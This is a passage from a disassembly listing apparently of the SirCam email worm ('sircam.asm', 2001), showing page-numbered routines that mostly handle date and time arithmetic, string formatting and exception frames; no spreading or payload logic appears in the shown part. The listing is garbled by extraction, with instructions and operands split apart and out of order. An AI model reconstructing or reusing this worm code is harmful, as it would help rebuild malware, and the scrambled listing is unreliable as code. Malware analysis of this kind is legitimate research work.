retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A4D:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+3B\030o
cmp
cl, 50h
jnz
loc_407896
mov
dword ptr [ebp-20h], 8
mov
ecx, 10h
jmp
loc_407977
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A67:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+57\030o
mov
jmp
bh, 1
short loc_407A6D
sircam.asm
Fri Aug 10 12:42:44 2001
205
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A6B:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+33\030o
mov
bh, 0
mov
mov
cmp
jz
mov
cmp
jz
mov
cmp
jz
mov
cmp
jz
cmp
jnz
mov
esi, eax
bl, 0
cl, 47h
short loc_407AB5
bl, 1
cl, 45h
short loc_407AB5
bl, 2
cl, 46h
short loc_407A96
bl, 3
cl, 4Eh
short loc_407A96
cl, 4Dh
loc_407896
bl, 4
loc_407A6D:
; CODE XREF: CODE:00407A69\030j
loc_407A96:
; CODE XREF: CODE:00407A82\030j
; CODE:00407A89\030j
mov
eax, 12h
mov
edx, [ebp-20h]
cmp
edx, eax
jbe
short loc_407AC7
mov
edx, 2
cmp
cl, 4Dh
jnz
short loc_407AC7
movzx
edx, ds:byte_41E4F0
jmp
short loc_407AC7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407AB5:
; CODE XREF: CODE:00407A74\030j
; CODE:00407A7B\030j
mov
mov
cmp
jbe
mov
eax, [ebp-20h]
edx, 3
eax, 12h
short loc_407AC7
eax, 0Fh
loc_407AC7:
; CODE XREF: CODE:00407AA0\030j
; CODE:00407AAA\030j ...
push
push
push
lea
mov
movzx
call
mov
lea
retn
ebx
eax
edx
eax, [ebp-71h]
edx, esi
ecx, bh
sub_40A8EE
ecx, eax
esi, [ebp-71h]
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407ADD
proc near
sub_407ADD
push
lea
call
pop
retn
endp
eax
eax, [ebp-10h]
sub_4034C8
eax
; CODE XREF: sub_40782B+6D\030p
; CODE:00407AE8\031p
sircam.asm
Fri Aug 10 12:42:44 2001
206
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407AE8:
; CODE XREF: sub_407700+3B\030j
call
sub_407ADD
pop
edi
pop
esi
pop
ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407AF8
proc near
; CODE XREF: CODE:004093B9\031p
arg_0
arg_4
= dword ptr
= dword ptr
sub_407AF8
push
ebp
mov
ebp, esp
push
ebx
push
esi
push
edi
mov
esi, ecx
mov
edi, edx
mov
ebx, eax
mov
eax, esi
call
sub_407534
push
eax
mov
eax, [ebp+arg_4]
push
eax
mov
eax, [ebp+arg_0]
push
eax
mov
ecx, esi
mov
eax, ebx
mov
edx, edi
call
sub_407700
mov
byte ptr [ebx+eax], 0
mov
eax, ebx
pop
edi
pop
esi
pop
ebx
pop
ebp
retn
8
endp ; sp = -0Ch
8
0Ch
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407B2C
proc near
arg_0
= dword ptr
push
mov
push
mov
xchg
xchg
call
pop
retn
; CODE XREF: sub_40948C+34\031p
; sub_409548+41\031p ...
8
ebp
ebp, esp
ecx
ecx, [ebp+arg_0]
eax, ecx
edx, ecx
sub_407B40
ebp
4
sircam.asm
sub_407B2C
Fri Aug 10 12:42:44 2001
207
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407B40
proc near
var_100A
var_8
var_4
arg_0
=
=
=
=
; CODE XREF: sub_406FEC+19\030p
; sub_40701C+21\030p ...
byte ptr -100Ah
dword ptr -8
dword ptr -4
dword ptr 8
push
mov
add
push
add
push
push
mov
mov
mov
mov
mov
call
mov
test
jns
add
ebp
ebp, esp
esp, 0FFFFF004h
eax
esp, 0FFFFFFF4h
ebx
esi
[ebp+var_8], ecx
[ebp+var_4], edx
esi, eax
ebx, 1002h
eax, [ebp+var_4]
sub_403724
edx, ebx
edx, edx
short loc_407B6D
edx, 3
loc_407B6D:
; CODE XREF: sub_407B40+28\030j
sar
edx, 2
mov
ecx, ebx
sub
ecx, edx
cmp
eax, ecx
jge
short loc_407B9C
mov
eax, [ebp+var_4]
call
sub_403724
push
eax
mov
eax, [ebp+var_8]
push
eax
mov
eax, [ebp+arg_0]
push
eax
mov
ecx, [ebp+var_4]
mov
edx, ebx
dec
edx
lea
eax, [ebp+var_100A]
call
sub_407700
jmp
short loc_407BA8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407B9C:
; CODE XREF: sub_407B40+36\030j
mov
call
mov
mov
loc_407BA8:
eax, [ebp+var_4]
sub_403724
ebx, eax
eax, ebx
; CODE XREF: sub_407B40+5A\030j
mov
edx, ebx
dec
edx
cmp
eax, edx
jl
short loc_407BF2
jmp
short loc_407BE1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_407BB1:
208
; CODE XREF: sub_407B40+A6\031j
add
mov
call
mov
mov
call
mov
call
push
mov
push
mov
push
mov
mov
dec
mov
call
ebx, ebx
eax, esi
sub_4034C8
eax, esi
edx, ebx
sub_4039FC
eax, [ebp+var_4]
sub_403724
eax
eax, [ebp+var_8]
eax
eax, [ebp+arg_0]
eax
ecx, [ebp+var_4]
edx, ebx
edx
eax, [esi]
sub_407700
loc_407BE1:
; CODE XREF: sub_407B40+6F\030j
mov
edx, ebx
dec
edx
cmp
eax, edx
jge
short loc_407BB1
mov
edx, esi
xchg
eax, edx
call
sub_4039FC
jmp
short loc_407C00
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407BF2:
lea
mov
xchg
call
; CODE XREF: sub_407B40+6D\030j
edx, [ebp+var_100A]
ecx, esi
eax, ecx
sub_4035B0
loc_407C00:
sub_407B40
; CODE XREF: sub_407B40+B0\030j
pop
pop
mov
pop
retn
endp
esi
ebx
esp, ebp
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407C08
proc near
var_8
arg_0
= qword ptr -8
= qword ptr 8
push
mov
mov
fld
fmul
sub
fistp
wait
pop
pop
or
jns
neg
neg
ebp
ebp, esp
ecx, eax
[ebp+arg_0]
ds:flt_41C154
esp, 8
[esp+8+var_8]
; CODE XREF: sub_407D30+1C\031p
; sub_407F04+1D\031p ...
eax
edx
edx, edx
short loc_407C34
edx
eax
sircam.asm
Fri Aug 10 12:42:44 2001
209
sbb
edx, 0
div
ds:dword_41C158
neg
eax
jmp
short loc_407C3A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407C34:
; CODE XREF: sub_407C08+19\030j
div
ds:dword_41C158
add
mov
mov
pop
retn
endp
eax, 0A955Ah
[ecx], edx
[ecx+4], eax
ebp
8
loc_407C3A:
sub_407C08
; CODE XREF: sub_407C08+2A\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407C48
proc near
var_8
var_1
arg_0
arg_4
=
=
=
=
dword ptr -8
byte ptr -1
dword ptr 8
dword ptr 0Ch
push
mov
add
push
mov
mov
cmp
jnb
cmp
jnb
cmp
jnb
cmp
jnb
movzx
imul
movzx
imul
add
movzx
imul
add
movzx
add
mov
fild
fdiv
mov
fstp
wait
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
esi
esi, [ebp+arg_4]
[ebp+var_1], 0
ax, 18h
short loc_407CA9
dx, 3Ch
short loc_407CA9
cx, 3Ch
short loc_407CA9
si, 3E8h
short loc_407CA9
eax, ax
eax, 36EE80h
edx, dx
edx, 0EA60h
eax, edx
edx, cx
edx, 3E8h
eax, edx
edx, si
eax, edx
[ebp+var_8], eax
[ebp+var_8]
ds:flt_407CB4
eax, [ebp+arg_0]
qword ptr [eax]
[ebp+var_1], 1
loc_407CA9:
sub_407C48
; CODE XREF: sub_407CB8+31\031p
; CODE XREF: sub_407C48+12\030j
; sub_407C48+18\030j ...
mov
pop
pop
pop
pop
retn
endp
al, [ebp+var_1]
esi
ecx
ecx
ebp
8
sircam.asm
Fri Aug 10 12:42:44 2001
210
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
flt_407CB4
dd 8.64e7
; DATA XREF: sub_407C48+51\030r
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407CB8
proc near
var_C
var_8
arg_0
= dword ptr -0Ch
= byte ptr -8
= word ptr 8
; CODE XREF: sub_408090+3B\031p
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
mov
push
lea
push
mov
mov
mov
call
test
jnz
lea
mov
call
mov
call
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ebx, ebx
[ebp+var_C], ebx
edi, ecx
esi, edx
ebx, eax
eax, eax
ebp
offset loc_407D1D
dword ptr fs:[eax]
fs:[eax], esp
ax, [ebp+arg_0]
eax
eax, [ebp+var_8]
eax
ecx, edi
edx, esi
eax, ebx
sub_407C48
al, al
short loc_407D07
edx, [ebp+var_C]
eax, ds:off_41DBA8
sub_404B80
eax, [ebp+var_C]
sub_406CBC
xor
pop
pop
pop
mov
push
; CODE XREF: sub_407CB8+38\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_407D24
loc_407D07:
loc_407D14:
sub_407CB8
; CODE XREF: CODE:00407D22\031j
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407D1D:
; DATA XREF: sub_407CB8+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_407D14
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407D24:
; DATA XREF: sub_407CB8+57\030o
sircam.asm
Fri Aug 10 12:42:44 2001
fld
pop
pop
pop
mov
pop
retn
211
qword ptr [ebp-8]
edi
esi
ebx
esp, ebp
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407D30
proc near
var_C
var_4
var_2
arg_0
arg_4
arg_8
=
=
=
=
=
=
sub_407D30
push
mov
add
push
push
push
mov
mov
mov
lea
push
push
push
lea
call
mov
lea
mov
call
push
mov
movzx
mov
call
mov
push
mov
movzx
mov
call
pop
pop
pop
mov
pop
retn
endp
; CODE XREF: sub_4081F4+31\031p
dword ptr -0Ch
word ptr -4
word ptr -2
dword ptr 8
dword ptr 0Ch
dword ptr 10h
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
edi, ecx
esi, edx
ebx, eax
eax, [ebp+var_4]
eax
[ebp+arg_8]
[ebp+arg_4]
eax, [ebp+var_C]
sub_407C08
eax, [ebp+var_C]
ecx, [ebp+var_2]
dx, 0EA60h
sub_406CA0
esi
ecx, ebx
eax, [ebp+var_2]
dx, 3Ch
sub_406CA0
eax, [ebp+arg_0]
eax
ecx, edi
eax, [ebp+var_4]
dx, 3E8h
sub_406CA0
edi
esi
ebx
esp, ebp
ebp
0Ch
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407D8C
proc near
push
push
mov
movzx
and
ebx
esi
ecx, eax
eax, cx
eax, 3
; CODE XREF: sub_407DC8+19\031p
; sub_407F04+EB\031p
sircam.asm
Fri Aug 10 12:42:44 2001
test
jnz
movzx
mov
mov
xor
div
test
jnz
mov
mov
xor
div
test
jz
212
eax, eax
short loc_407DBB
ebx, cx
eax, ebx
esi, 64h
edx, edx
esi
edx, edx
short loc_407DC0
eax, ebx
ecx, 190h
edx, edx
ecx
edx, edx
short loc_407DC0
loc_407DBB:
; CODE XREF: sub_407D8C+C\030j
xor
eax, eax
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407DC0:
sub_407D8C
; CODE XREF: sub_407D8C+1E\030j
; sub_407D8C+2D\030j
mov
pop
pop
retn
endp
al, 1
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407DC8
proc near
var_8
var_3
var_2
arg_0
=
=
=
=
; CODE XREF: sub_407E90+2C\031p
dword ptr -8
byte ptr -3
word ptr -2
dword ptr 8
push
mov
add
push
push
push
mov
mov
mov
mov
mov
call
and
lea
lea
cmp
jb
cmp
ja
cmp
jb
cmp
ja
cmp
jb
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
ebx, ecx
edi, edx
[ebp+var_2], ax
[ebp+var_3], 0
ax, [ebp+var_2]
sub_407D8C
eax, 7Fh
eax, [eax+eax*2]
esi, unk_41C0D4[eax*8]
[ebp+var_2], 1
loc_407E84
[ebp+var_2], 270Fh
short loc_407E84
di, 1
short loc_407E84
di, 0Ch
short loc_407E84
bx, 1
short loc_407E84
sircam.asm
Fri Aug 10 12:42:44 2001
movzx
cmp
ja
movzx
dec
test
jle
mov
eax, di
bx, [esi+eax*2-2]
short loc_407E84
eax, di
eax
eax, eax
short loc_407E38
ecx, 1
add
inc
dec
jnz
; CODE XREF: sub_407DC8+6E\031j
bx, [esi+ecx*2-2]
ecx
eax
short loc_407E2F
loc_407E2F:
loc_407E38:
; CODE XREF: sub_407DC8+60\030j
movzx
dec
mov
mov
cdq
idiv
imul
mov
test
jns
add
ecx, [ebp+var_2]
ecx
eax, ecx
esi, 64h
sar
add
sub
mov
mov
cdq
idiv
add
movzx
add
sub
mov
fild
mov
fstp
wait
mov
edx,
esi,
esi,
eax,
ecx,
esi
esi, ecx, 16Dh
edx, ecx
edx, edx
short loc_407E56
edx, 3
loc_407E56:
; CODE XREF: sub_407DC8+89\030j
2
edx
eax
ecx
190h
ecx
esi, eax
eax, bx
esi, eax
esi, 0A955Ah
[ebp+var_8], esi
[ebp+var_8]
eax, [ebp+arg_0]
qword ptr [eax]
[ebp+var_3], 1
loc_407E84:
sub_407DC8
213
; CODE XREF: sub_407DC8+30\030j
; sub_407DC8+3C\030j ...
mov
pop
pop
pop
pop
pop
pop
retn
endp
al, [ebp+var_3]
edi
esi
ebx
ecx
ecx
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407E90
proc near
var_C
var_8
= dword ptr -0Ch
= byte ptr -8
push
ebp
; CODE XREF: sub_408090+1C\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
lea
push
mov
mov
mov
call
test
jnz
lea
mov
call
mov
call
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ebx, ebx
[ebp+var_C], ebx
edi, ecx
esi, edx
ebx, eax
eax, eax
ebp
offset loc_407EF0
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
eax
ecx, edi
edx, esi
eax, ebx
sub_407DC8
al, al
short loc_407EDA
edx, [ebp+var_C]
eax, ds:off_41DC04
sub_404B80
eax, [ebp+var_C]
sub_406CBC
xor
pop
pop
pop
mov
push
; CODE XREF: sub_407E90+33\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_407EF7
loc_407EDA:
loc_407EE7:
sub_407E90
214
; CODE XREF: CODE:00407EF5\031j
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407EF0:
; DATA XREF: sub_407E90+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_407EE7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407EF7:
; DATA XREF: sub_407E90+52\030o
fld
qword ptr [ebp-8]
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407F04
proc near
var_18
var_14
= byte ptr -18h
= dword ptr -14h
; CODE XREF: sub_408048+13\031p
sircam.asm
var_10
var_E
var_C
var_8
var_4
arg_0
arg_4
arg_8
Fri Aug 10 12:42:44 2001
=
=
=
=
=
=
=
=
215
word ptr -10h
word ptr -0Eh
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
dword ptr 10h
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFE8h
push
ebx
push
esi
mov
[ebp+var_C], ecx
mov
[ebp+var_8], edx
mov
[ebp+var_4], eax
mov
ebx, [ebp+arg_0]
push
[ebp+arg_8]
push
[ebp+arg_4]
lea
eax, [ebp+var_18]
call
sub_407C08
mov
ecx, [ebp+var_14]
test
ecx, ecx
jg
short loc_407F4F
mov
eax, [ebp+var_4]
mov
word ptr [eax], 0
mov
eax, [ebp+var_8]
mov
word ptr [eax], 0
mov
eax, [ebp+var_C]
mov
word ptr [eax], 0
mov
word ptr [ebx], 0
jmp
loc_40803D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407F4F:
; CODE XREF: sub_407F04+27\030j
mov
mov
cdq
idiv
mov
dec
mov
cmp
jl
eax, ecx
esi, 7
sub
add
cmp
jge
ecx, 23AB1h
bx, 190h
ecx, 23AB1h
short loc_407F69
lea
push
lea
mov
xchg
call
cmp
jnz
dec
add
; CODE XREF: sub_407F04+63\030j
eax, [ebp+var_E]
eax
eax, [ebp+var_10]
dx, 8EACh
eax, ecx
sub_406CA0
[ebp+var_10], 4
short loc_407F9E
[ebp+var_10]
[ebp+var_E], 8EACh
imul
add
lea
push
lea
; CODE XREF: sub_407F04+8E\030j
ax, [ebp+var_10], 64h
bx, ax
eax, [ebp+var_E]
eax
ecx, [ebp+var_10]
esi
[ebx], dx
ecx
bx, 1
ecx, 23AB1h
short loc_407F7C
loc_407F69:
; CODE XREF: sub_407F04+76\031j
loc_407F7C:
loc_407F9E:
sircam.asm
Fri Aug 10 12:42:44 2001
216
movzx
mov
call
mov
shl
add
lea
push
lea
movzx
mov
call
cmp
jnz
dec
add
eax, [ebp+var_E]
dx, 5B5h
sub_406CA0
ax, [ebp+var_10]
eax, 2
bx, ax
eax, [ebp+var_E]
eax
ecx, [ebp+var_10]
eax, [ebp+var_E]
dx, 16Dh
sub_406CA0
[ebp+var_10], 4
short loc_407FE9
[ebp+var_10]
[ebp+var_E], 16Dh
add
mov
call
and
lea
lea
mov
; CODE XREF: sub_407F04+D9\030j
bx, [ebp+var_10]
eax, ebx
sub_407D8C
eax, 7Fh
eax, [eax+eax*2]
edx, unk_41C0D4[eax*8]
ax, 1
loc_407FE9:
loc_408005:
; CODE XREF: sub_407F04+120\031j
movzx
ecx, ax
mov
cx, [edx+ecx*2-2]
mov
[ebp+var_10], cx
mov
cx, [ebp+var_E]
cmp
cx, [ebp+var_10]
jb
short loc_408026
mov
cx, [ebp+var_10]
sub
[ebp+var_E], cx
inc
eax
jmp
short loc_408005
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408026:
; CODE XREF: sub_407F04+115\030j
mov
mov
mov
mov
mov
inc
mov
mov
edx, [ebp+var_4]
[edx], bx
edx, [ebp+var_8]
[edx], ax
ax, [ebp+var_E]
eax
edx, [ebp+var_C]
[edx], ax
pop
pop
mov
pop
retn
endp
esi
ebx
esp, ebp
ebp
0Ch
loc_40803D:
sub_407F04
; CODE XREF: sub_407F04+46\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408048
proc near
var_2
arg_0
arg_4
= byte ptr -2
= dword ptr 8
= dword ptr 0Ch
; CODE XREF: sub_4081BC+2A\031p
sircam.asm
sub_408048
Fri Aug 10 12:42:44 2001
push
mov
push
push
mov
push
push
lea
push
mov
call
pop
pop
pop
retn
endp
217
ebp
ebp, esp
ecx
esi
esi, eax
[ebp+arg_4]
[ebp+arg_0]
eax, [ebp+var_2]
eax
eax, esi
sub_407F04
esi
ecx
ebp
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408068
proc near
var_8
var_4
arg_0
arg_4
=
=
=
=
sub_408068
push
mov
add
push
push
lea
call
mov
mov
cdq
idiv
mov
inc
pop
pop
pop
retn
endp
; CODE XREF: sub_4084A8+293\031p
; sub_4084A8+2B7\031p ...
byte ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
ebp
ebp, esp
esp, 0FFFFFFF8h
[ebp+arg_4]
